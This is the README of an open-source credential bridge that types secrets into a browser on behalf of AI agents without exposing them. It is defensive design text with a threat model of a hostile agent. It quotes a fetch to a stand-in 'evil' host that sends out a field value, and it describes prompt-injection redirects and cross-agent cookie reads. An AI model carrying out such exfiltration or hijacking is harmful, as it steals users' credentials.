Governed credential fill for AI agents. The agent drives the browser; it never sees the password.
Status: v0.1, published — 1clawAI/browser-bridge, Apache-2.0, on npm as
@1claw/browser-bridge.Built: the
VaultBackendtrait,SecretHandle, the saas driver, the CDP allowlist gate, the loopback checks, the Chromium pipe transport (spawnwith fds 3/4 under--remote-debugging-pipe), the proxy socket, and the MCP toolset, three backends, governed account registration, and governed credential capture — a fill in reverse, for the key a site issues you. 266 tests here, twenty of them against a launched Chromium, two of those driving real Puppeteer and Playwright, plus the vault half.The server side is implemented, end to end:
Route Who may call it What it does POST /v1/browser/devicesa human, behind a step-up re-auth pins the device key and mints the bb_credential, onceGET /v1/browser/devicesa human lists what is paired. Revoked devices stay listed — "was this machine ever paired" is the question asked after a laptop goes missing DELETE /v1/browser/devices/{id}a human revokes a device. This is what makes a leaked bb_stop workingPOST /v1/browser/credentialsa human, behind a step-up re-auth defines a binding: which secret, and into which hosts POST /v1/agents/{id}/browser/sessionsthe human's token + bb_opens a session, returns a bs_tokenPOST /v1/agents/{id}/browser/fillsthe agent's JWT + bb_+bs_checks tab, frame and form-action origins against the binding, applies the velocity cap, records a single-use grant POST /v1/agents/{id}/browser/fills/consumethe human's token + bb_+bs_, and not an agentspends the grant and returns the credential The split on the two fill rows is the invariant in the routing table: the agent asks which binding, and is refused when it tries to collect the answer.
A fill request must also carry
form_path,field_names,redirect_chainandcurrent_generation. They were once optional and defaulted server-side, which turned three of the policy's own checks off — the redirect chain was always empty so its check never ran,current_generationdefaulted togenerationand was compared against itself, andform_pathdefaulted to"", which matches no fingerprint and denied every binding carrying one. Sendcurrent_generationas the generation you observe now; the same value asgenerationmakes the staleness check compare a value to itself.The bar for shipping is the adversarial suite green on every backend that ships. Three do — hosted, local file, and in-memory — and it is.
That suite is
adversarial.test.ts: it drivesstartBridge, the entry point a real deployment uses, and plays the agent as hostile rather than careless. Each of its tests is checked by breaking the control it covers and confirming it goes red, because a green suite is evidence about the tests as much as the code. In August 2026 the per-file suites passed 121/121 while three controls did nothing: the fill window never fired (commands were matched onparams.targetId, which CDP does not use for the methods that read a form field), every client received every other client's events, and a listener installed before a fill could read the credential typed during it. Every component was individually correct; all three bugs were in the seams.A fourth of the same shape was found writing the suite and is fixed here: the TOCTOU generation was bumped under a CDP session id and read under a target id, so the two counters never met and a grant survived the navigation it existed to be invalidated by.
npm install -g @1claw/browser-bridgeOr from source — the demo runs with no 1Claw account:
pnpm install && pnpm build
node packages/browser-bridge/examples/demo.mjsIt is not an alternative to Playwright, Puppeteer, browser-use, Stagehand or Anthropic's Computer Use. Those answer how does the agent drive. This answers how does a credential get used without the agent holding it, which they leave to you.
- Computer Use has the model issue keystrokes. A password typed that way is an action the model chose, and so is in its context.
- browser-use types from a value your code supplied. Its
sensitive_datakeeps that value out of the prompt by substituting placeholders — the agent process still holds it, and a prompt injection that redirects the page can still get it submitted somewhere else. - This keeps the value in a separate process the agent cannot read from. The agent asks which binding; it cannot choose the page, cannot read the field, and cannot collect the value.
browser-use is Playwright-based, so it connects to the bridge unchanged. There
is a test that drives stock puppeteer-core and playwright-core through the
gate against a real Chromium on every commit.
A full lifecycle against a live third-party site — create the account, sign in, capture the API key the site issues, and make a real request with it. No human at any step.
| Stage | Time | What happens |
|---|---|---|
| Provision — register + store password | 2.13s | The bridge signs up, generates the password and stores it |
| Sign in — username + password + submit | 1.14s | The bridge logs in; the agent never sees the password |
| Capture — read + store the API key | 0.80s | The bridge reads the key in a window the agent never lands on |
| Use — request with the key injected | 0.37s | The key is injected; the agent passes only a city name |
| End to end | 4.43s |
Most of that is opening a fresh page for each credential operation. That cost is also the control: a listener the agent installed earlier has nothing to observe, because the typing does not happen on a page the agent has ever scripted.
No backend can return a secret through a tool result. consumeFill()
yields a SecretHandle — zeroised on disposal, and hostile to every path a
string would take out of the process:
| Path | Behaviour |
|---|---|
JSON.stringify |
throws — this is the MCP result path, so a handle reaching it is a broken control, not a formatting problem |
String(), `${h}`, .toString() |
redacted |
util.inspect / console.log |
redacted |
Object.keys / spread |
empty — the bytes are a true private field |
after dispose() |
buffer overwritten with zeros; all reads throw |
JavaScript has no destructors, so "zeroise on drop" is explicit: use using
(Symbol.dispose) or handle.use(fn), which disposes even when fn throws —
the failure path being exactly where a live secret tends to get left behind.
The security rules live in the core and behave identically on every backend: origin and frame checks, TOCTOU generation binding, the CDP fill window, buffer zeroing, velocity limiting.
Drivers own four things and no others: where secrets live, who evaluates policy, where audit goes, and which capabilities exist.
That split is what makes the invariant reviewable once instead of once per
driver — and it is enforced, not merely intended:
core-has-no-driver-conditionals.test.ts fails the build if the core ever
names a driver in code.
packages/protocol wire types shared with the (closed) vault handlers
packages/browser-bridge
secret-handle.ts the invariant, as a class
vault-backend.ts the trait every driver implements + capability→tool map
cdp-policy.ts what an agent's CDP connection may do
cdp-proxy.ts the only route from a framework to Chromium
cdp-transport.ts the bridge's own connection, behind an interface
pipe-transport.ts CDP over --remote-debugging-pipe (never a port)
pipe-codec.ts NUL-delimited framing, buffered across chunks
proxy-server.ts the socket a framework points cdp_url at
mcp-tools.ts the status-only tool surface an agent calls
fill-engine.ts where every other control is cashed in
loopback.ts who may reach the local listeners
drivers/saas.ts 1Claw-hosted backend
The bridge is the only process attached to Chromium; frameworks reach it
through a gate. If an agent keeps its own CDP connection to the same browser
the bridge types into, the invariant fails in one step — after a fill it reads
input.value, the a11y tree, a screenshot, or the Network log of the POST.
Filtering responses does not fix that, which is why this gates commands and
events rather than redacting: btoa(input.value) and
fetch('https://evil/?'+v) never return the value to the agent at all.
It is an allowlist. CDP has ~50 domains and gains members every Chromium release; a denylist is stale the day it is written, and its failure mode is silent exposure. During a fill the whole target is blocked, not just the field, and push events on it are dropped rather than queued — replaying them afterwards would hand over exactly what suppression prevented.
Each client sees only its own pages, on commands as well as events. Every
client gets its own Chromium BrowserContext, and every command naming a
target or a session is checked against what that client owns: getTargets is
narrowed to the caller's own pages, and attachToTarget on someone else's is
refused even when the id is known. Without that check the isolation is
decorative — one agent lists another's targets, attaches, and runs
Runtime.evaluate or Network.getCookies against a page it was never granted,
which is the same as being logged in as that user. A test drives that exact
sequence through two sockets on one real Chromium and requires it to fail.
Four parts, and it is worth being clear which does what:
your agent ──CDP──▶ bridge ──▶ Chromium
(framework) │ ▲ (the page)
│ └── types the credential here
▼
backend
(where the secret lives)
- Your agent connects to the bridge as if it were Chromium, and drives the
browser normally. It also calls
request_fillwhen it needs a credential. - The bridge owns the browser. Every CDP command from the agent crosses an allowlist; nothing else is attached. When a fill is authorised it opens a separate page the agent has never scripted, navigates to the binding's own login URL, types there, and closes it.
- The backend decides whether a fill may happen and holds the secret. Three ship; they differ only in where secrets live.
- Chromium is launched by the bridge over a pipe — no debugging port, which would be reachable by the very pages being driven.
The agent receives {"status":"filled"}. Not the password. There is no tool
that returns one.
| Backend | Secrets live | Needs an account | Use it for |
|---|---|---|---|
MockVaultDriver |
in memory | no | trying it out, tests |
LocalVaultDriver |
an encrypted file on your machine | no | your own credentials |
SaasDriver |
the 1Claw vault | yes | teams, audit, policy, HITL |
All three enforce the same rules. A backend can refuse a fill; none can widen what is allowed, because the origin, frame, TOCTOU and CDP checks live in the core and run identically whichever you choose.
No account, no config, no network:
pnpm install && pnpm build
node packages/browser-bridge/examples/demo.mjsIt serves a login form, launches Chromium, asks for a fill, and prints exactly what the agent received so you can check the password is not in it.
The community backend keeps secrets in an AES-256-GCM file, keyed by scrypt from a passphrase you hold. Nothing leaves your machine.
export ONECLAW_BRIDGE_VAULT_PASSPHRASE='something long'
1claw-vault init ~/.1claw/vault.json
# The secret comes from stdin, never from an argument — argv is world-readable
# in `ps`, and would land in your shell history too.
printf '%s' 'the-password' | 1claw-vault add ~/.1claw/vault.json \
--id acme \
--url https://app.example.com/login \
--hosts app.example.com
1claw-vault list ~/.1claw/vault.json # ids and rules; never a secretThen start the bridge against it:
1claw-browser-bridge --vault ~/.1claw/vault.json --chrome /path/to/chromeAbout --hosts. A bare entry matches only itself. .example.com — with the
leading dot — matches example.com and any subdomain. * is refused, because
the matcher has no wildcard: a * entry would be stored, match nothing, and
leave you believing a host was allowed.
About the passphrase. It is the only thing protecting the file, so scrypt is tuned to make each guess expensive (N=2¹⁷, ~128 MB). The parameters are stored in the file and authenticated, so nobody can edit them down to something cheap and still decrypt. There is deliberately no command that prints a secret back out.
The bridge can sign up for a site, generate the password itself, and store it —
with the agent never seeing it. That is begin_credential_registration, and it
is available only when a human has written a policy for the site.
1claw-vault allow-signup ~/.1claw/vault.json \
--id acme \
--signup https://acme.example.com/signup \
--login https://acme.example.com/login \
--username ada@example.com \
--hosts acme.example.com \
--user-sel '#email' --pass-sel '#password' --submit-sel 'button[type=submit]' \
--success-sel '.dashboard'Then the agent calls the tool with one argument:
Why so little. A fill names a binding a human already made, so the host was someone's decision. A registration has no binding yet — so if the agent named the host, the agent would be choosing where a credential gets created. The host, signup URL, username and selectors therefore all come from the policy. The request type has nowhere to put an alternative.
The bridge generates the password, types it into a page the agent has never scripted, and only then stores it. The agent gets a binding id back, which it can use for later fills. It never receives the value at any point.
Committing is separate from typing, on purpose. A password stored that the
site never accepted produces a binding that will never work, and you find out
weeks later when a login fails. So the bridge waits for the success signal you
described — --success-sel, or the URL changing — and if it does not see one it
cancels rather than commits. {"status":"rejected","reason":"no_success_signal"}
means nothing was stored.
How this is tested. Four tests drive a real Chromium against a real signup form that enforces a password rule and says no when it is not met: one asserts the credential stored is byte-for-byte the one the site received, one that a rejected password stores nothing, one that an unrecognisable outcome stores nothing, and one that logs in afterwards with what was stored. Breaking the verdict check so it commits regardless turns two of them red; storing a freshly generated password instead of the typed one turns the other two red.
Five more go through startBridge and the MCP tool itself, because a path
exercised only in pieces is a path nobody has run — that is exactly how a
broken session handshake survived thirty passing production assertions. One of
them passes signup_url, username and password alongside site_id and
asserts the signup still happens where the policy says, with the policy's
username. Wiring the tool to honour the agent's url turns it red.
What it does not do yet. Email verification. If a site requires clicking a
link in an inbox, this will report no_success_signal and store nothing —
correctly, since the account does not exist yet. Whoever reads that email can
complete the signup, so handing it to the agent would undo the point; that needs
its own design rather than a quick addition.
The mirror of a fill. A site generates an API key and shows it once; the bridge
reads it and stores it in the vault, and the agent never sees the value. That is
begin_credential_capture, and like registration it needs a human-authored
policy first:
1claw-vault allow-capture ~/.1claw/vault.json \
--id acme-key \
--url https://acme.example.com/settings/api \
--login https://acme.example.com/login \
--hosts acme.example.com \
--generate-sel '#generate' \
--value-sel '#api-key'Then, from an agent already logged in on a tab:
{ "site_id": "acme-key", "target_id": "..." } // → { "status": "captured", "entryId": "..." }The agent names the site and the tab it is logged in on. It does not choose the URL, the control that generates the key, the element the value is read from, or the entry it lands in — all of that is the policy's. Without that split, "capture" would be "read anything I point you at, into anywhere I choose".
It earns the fill invariant the same way. The agent's own target is windowed
before any secret exists — a listener installed earlier needs no CDP command
during the window to watch a read, so the window cannot open around the read
itself. The value is read in a target the agent has never scripted, in the
agent's own browser context so the site's login applies, and wrapped in a
SecretHandle the instant it exists. It never becomes a tool result, a log
line, or a return value.
Some sites put the key in an attribute rather than the text — a copy button
carrying data-clipboard-text next to a label. --value-attr reads that
instead, so the value does not arrive with the label attached.
Like registration, nothing is stored unless a value was actually read:
{"status":"rejected","reason":"no_value_found"} means the vault is untouched.
Pair the machine once — a human step, and deliberately so, since the device being paired is the one that will type secrets into pages:
curl -sX POST https://api.1claw.co/v1/browser/devices \
-H "authorization: Bearer $ONECLAW_TOKEN" \
-d '{"label":"my-laptop","public_key_pin":"<device key>"}'The bb_ credential comes back once. Then define what may be filled where:
curl -sX POST https://api.1claw.co/v1/browser/credentials \
-H "authorization: Bearer $ONECLAW_TOKEN" \
-d '{"label":"acme","vault_id":"…","secret_path":"acme/password",
"login_url":"https://app.example.com/login",
"allowed_hosts":["app.example.com"],"sso_hosts":["login.okta.com"]}'Then:
export ONECLAW_BRIDGE_CREDENTIAL=bb_… # this machine
export ONECLAW_TOKEN=… # you
export ONECLAW_AGENT_TOKEN=… # the agent
export ONECLAW_AGENT_ID=…
1claw-browser-bridge --chrome /path/to/chromeThree credentials because the vault requires three distinct facts — which machine, which person, which agent — and collapsing any two would let one stand in for another. The bridge refuses to start with any of them missing rather than failing on the first fill.
ONECLAW_TOKEN is worth being clear about: it is your ordinary user credential,
and the bridge process holds it for as long as it runs. That is not a side
effect of the design, it is the design — opening a session and collecting a
credential are things a person authorises, and the alternative is a long-lived
credential that can collect secrets without one. Scope it the way you would any
token on a workstation, and run the bridge as a foreground process you started
rather than a service that outlives your attention. Sessions expire after eight
hours for the same reason.
Worth being precise, because it is not "type into the page you are looking at":
- The bridge opens a new page in your agent's own browser context — one the agent has never scripted, so nothing it installed earlier can watch the typing.
- It navigates there using the binding's login URL, not anything the agent supplied.
- It waits for the field, focuses it, types the credential, and submits.
- It waits for the submission to complete, then closes that page.
- The session cookie stays, because cookies belong to the browser context rather than the page. Your agent's own tab is now signed in.
So the agent ends up with a session it can use, and never with the password.
request_fill returns {"status":"filled"} and nothing else.
That last part only works because the throwaway page is opened in the agent's context. A fill in the default context logs in somewhere the agent cannot reach — which is what this did until it was tested end to end.
Point your framework's cdp_url at the URL the bridge prints. Every command
crosses the gate; nothing else is attached to Chromium.
Stock clients work, and a test proves it with the real clients. Puppeteer
and Playwright could not connect at all for a while. Their handshake asks the
browser to describe itself and then to start announcing targets, and the second
half is refused by design: forwarding Target.setAutoAttach or
setDiscoverTargets puts Chromium into a mode where it reports every target
to whoever asked.
The proxy answers that handshake itself, so the client is satisfied without
Chromium ever being put into global discovery, and attaches on the client's
behalf so the session it is handed is real and recorded as its own. Two of the
tests drive actual puppeteer-core and playwright-core through
connect → newPage → goto against a launched Chromium, because a hand-built
client cannot tell you whether a real one is happy.
await puppeteer.connect({ browserWSEndpoint: bridge.url });
await chromium.connectOverCDP(bridge.url);examples/agent.mjs shows the minimal client if you would rather speak gated
CDP directly.
127.0.0.1 is not a boundary: every page in the browser being driven can reach
it. Any request carrying an Origin is refused — not just cross-site ones,
because localhost-to-localhost is same-site and Sec-Fetch-Site would pass
it. Plus a literal-loopback Host check for DNS rebinding, and a per-session
token compared in constant time.
Three tools, and none of them returns credential material. That is not an oversight to be fixed later: a tool that could return a secret would be the shortest path around everything else here.
| Tool | The agent supplies | It gets back |
|---|---|---|
request_fill |
a binding_id |
whether the fill happened |
begin_credential_registration |
a site_id |
whether an account was created |
begin_credential_capture |
a site_id and the tab it is logged in on |
an entry id |
What each one cannot supply is the point:
- No url. The bridge navigates to the binding's own
login_url, or the policy'scaptureUrl. An agent that could choose the page could choose which page receives the credential. - No value. The agent never supplies a secret, and never receives one.
- No selector, and no username. For registration and capture alike, what is typed and where it is read from come from the human-authored policy. The agent names which pre-authorised site and nothing else, which is what stops "capture" becoming "read whatever I point you at, into wherever I choose".
- No page state. Origins, form path, field names and generation are observed by the bridge. An agent that supplied them would choose which page looks trustworthy.
Denials come back as a closed-set reason. Free text would reach an agent that will try to argue with it, and risks naming which credential exists.
The sequence is the design, not a style:
- Block the agent first, before the secret exists in this process — doing it after leaves a gap where the agent can watch the typing it is about to be blocked from watching.
- Navigate to the binding's own
login_url. An agent that picks the URL picks who receives the password. - Re-check the generation immediately before typing. Authorisation happened earlier; if the page moved since, the credential lands in whatever loaded instead. The TOCTOU gap is closed at the last moment, not the first.
- Type from the handle, then dispose.
- Close the window in
finally— the failure path is exactly where a half-open window would persist and lock the agent out of its own browser.
Each step is pinned by a test that a mutation confirms bites.
Tools are absent, not disabled. A tool that exists and always fails teaches
an agent to retry, and puts a runtime upsell in agent-visible output. On the
community backend request_checkout is simply not registered.
pnpm install
pnpm typecheck # tsc -b across the workspace
pnpm typecheck:tests # the tests, which the build config excludes
pnpm test # vitest
pnpm verify # all three, as CI runs themThe tests get their own typecheck pass because the build config excludes them
from dist, which left them unchecked entirely. startBridge({ args }) was
being passed by three test files against an options type that never declared
it — dropped in silence, and only fatal on a machine with no display.
The suite includes mutation-verified guards. Each of these fails a specific
test rather than passing quietly: making toJSON return plaintext, removing
the buffer zeroing, adding if (backend === "saas") to the core, letting the
CDP gate allow unknown methods, not blocking the target during a fill, and
rejecting only cross-site Origins.
-
v0.1 (here) —
VaultBackend+SecretHandle+ saas driver + CDP allowlist gate + loopback checks + Chromium pipe transport + per-clientBrowserContext+ MCP stdio + the composition root and1claw-browser-bridgebin. Vault side: device pairing and revocation, binding CRUD with form fingerprints, sessions, fill authorisation and single-use grant consumption. Adversarial suite, and twenty tests against a real Chromium. -
OSS launch — the gate was the adversarial harness passing against the saas driver. It does, and the vault half is implemented rather than flagged off, so the client is exercised end to end today (33 assertions against production). Form-action and fingerprint checks are done. What remains is a mock-vault so someone without a 1Claw account can run the thing — a real gap for a public repo, since the only backend that exists talks to an API they cannot reach.
Done.
MockVaultDriveris an in-memory backend, andexamples/demo.mjsruns the whole thing with no account: a local login form, a real Chromium, and the agent's tool result printed so you can check the password is not in it.pnpm install && pnpm build && node packages/browser-bridge/examples/demo.mjs
The community driver has landed too:
LocalVaultDriver, an AES-256-GCM file keyed by scrypt from a passphrase you hold, with1claw-vaultto manage it. Three backends now ship, and the adversarial suite is green on all of them — which was always the real bar. -
v0.2 — governed credential registration (done, local backend) and governed credential capture — a fill in reverse: while logged in, the bridge reads a secret the site generates (an API key, a token) in a windowed page and stores it in the vault, without the agent seeing it (done, local backend; see
examples/full-flow-capture.mjs); HITL approval queue, TOTP fill, and both on the hosted backend still to come -
v0.3 — cloud-runtime sidecar: the same flow, unattended, inside a 1Claw runtime container. The bridge already does all of it on a laptop; what it needs is hosting. Two of the three obstacles are packaging (a browser in the image, a process to run the bridge); the third is the real one — opening a session currently wants a human's token every eight hours. The design puts the bridge in the sidecar, which already holds credentials the agent calls into but never holds, so the agent JWT is never presented to
consumeby construction rather than by a check somebody might later drop.
The threat model, the CDP ownership argument and the adversarial test matrix live in the 1Claw browser-bridge spec. Report vulnerabilities to security@1claw.co rather than opening an issue.
Apache-2.0.
{ "site_id": "acme" } // → { "status": "registered", "bindingId": "acme" }